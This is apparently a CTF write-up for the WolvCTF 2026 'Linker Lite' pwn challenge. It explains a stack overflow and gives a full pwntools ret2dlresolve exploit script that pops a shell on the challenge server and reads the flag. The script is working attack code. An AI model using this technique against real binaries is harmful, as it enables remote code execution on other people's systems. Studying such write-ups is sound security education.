Linker Lite

WolvCTF 2026PwnMediumBy .ayushmkWriteup by @xabito

Our new plugin loader accepts a plugin blob, but its normal response prints no addresses. Can you still load a plugin that pops a shell?

Connections

  • linker-lite.wolvctf-2026.kctf.cloud:1337

Attachments

Recon

dis.tar.gz contains linker-lite, its libc.so.6 (Ubuntu GLIBC 2.35), and the matching ld-linux-x86-64.so.2. The protections leave lazy binding available:

$ checksec --file=linker-lite
    Arch:       amd64-64-little
    RELRO:      Partial RELRO      <- lazy binding intact, .got.plt writable
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

The binary imports only read, puts, and setvbuf, contains no syscall gadget, and leaks no addresses. ret2dlresolve is a ROP technique that forges dynamic-linker metadata to resolve an attacker-chosen function without a libc leak. With Partial RELRO and lazy binding, we can forge an Elf64_Rela/Elf64_Sym pair in a writable page and have _dl_runtime_resolve resolve "system".

Exploitation

The bug is in load_plugin: a fixed 0x100-byte read into a 0x40-byte buffer.

$ objdump -d linker-lite
load_plugin:
  push rbp
  mov  rbp, rsp
  sub  rsp, 0x40
  lea  rax, [rbp - 0x40]
  mov  edx, 0x100          ; read_full(0, rbp-0x40, 0x100)
  mov  rsi, rax
  mov  edi, 0
  call read_full
  leave
  ret

read_full loops until exactly 0x100 bytes arrive, so the first payload must be padded to 256 bytes. The saved RIP is at offset 72 (0x40 + 8), and leave; ret enters a chain of roughly 184 bytes.

The chain uses pop rdi; pop rsi; pop rdx; ret at 0x401223 and a bare ret at 0x40101a. The RW segment extends through 0x405000, leaving zeroed writable space above roughly 0x404800 for the fake structures.

The exploit runs in two stages over one connection. Stage 1 uses the triple-pop gadget to call read(0, data_addr, len), writing the forged structures into that writable page. Stage 2 is the blob generated by pwntools.

The forged data contains an Elf64_Sym whose st_name points to "system", an Elf64_Rela using R_X86_64_JUMP_SLOT, and the string "/bin/sh". The chain loads the "/bin/sh" pointer into rdi before entering PLT0 with the forged relocation index.

DT_VERSYM is the symbol-version table that the resolver indexes. Here it reads versym[fake_sym_index]; the chosen fake index lands on 00 00 in the read-only LOAD page, giving version index 0. This avoids a versioned lookup and allows system to resolve.

The first attempt segfaulted inside system because PLT0 left rsp misaligned for glibc’s do_system, which uses SSE movaps. The extra bare ret at 0x40101a shifted the chain by 8 bytes and fixed the alignment.

Flag capture

We sent the overflow and the generated second-stage blob with this script:

from pwn import *

context.arch = 'amd64'
context.binary = elf = ELF('linker-lite', checksec=False)

dl = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop = ROP(elf)
rop.read(0, dl.data_addr, len(dl.payload))
rop.raw(0x40101a)              # bare ret: 16-byte alignment for system
rop.ret2dlresolve(dl)
payload = flat({72: rop.chain()}).ljust(0x100, b'B')

io = remote('linker-lite.wolvctf-2026.kctf.cloud', 1337)
io.recvuntil(b'send plugin blob:')
io.send(payload)
time.sleep(0.4)
io.send(dl.payload)            # forged Rela/Sym/"system\0"/"/bin/sh\0"

After the shell opened, echo and pwd worked, but commands that fork (ls and id) printed nothing because the remote’s stderr was not wired back. We avoided starting a child process by using dash’s read builtin with a redirection, which performs the open and read syscalls in the shell itself:

read f < /flag && echo R:$f
R:wctf{n0_le4k_n0_pr0blem_ret2dlresolve}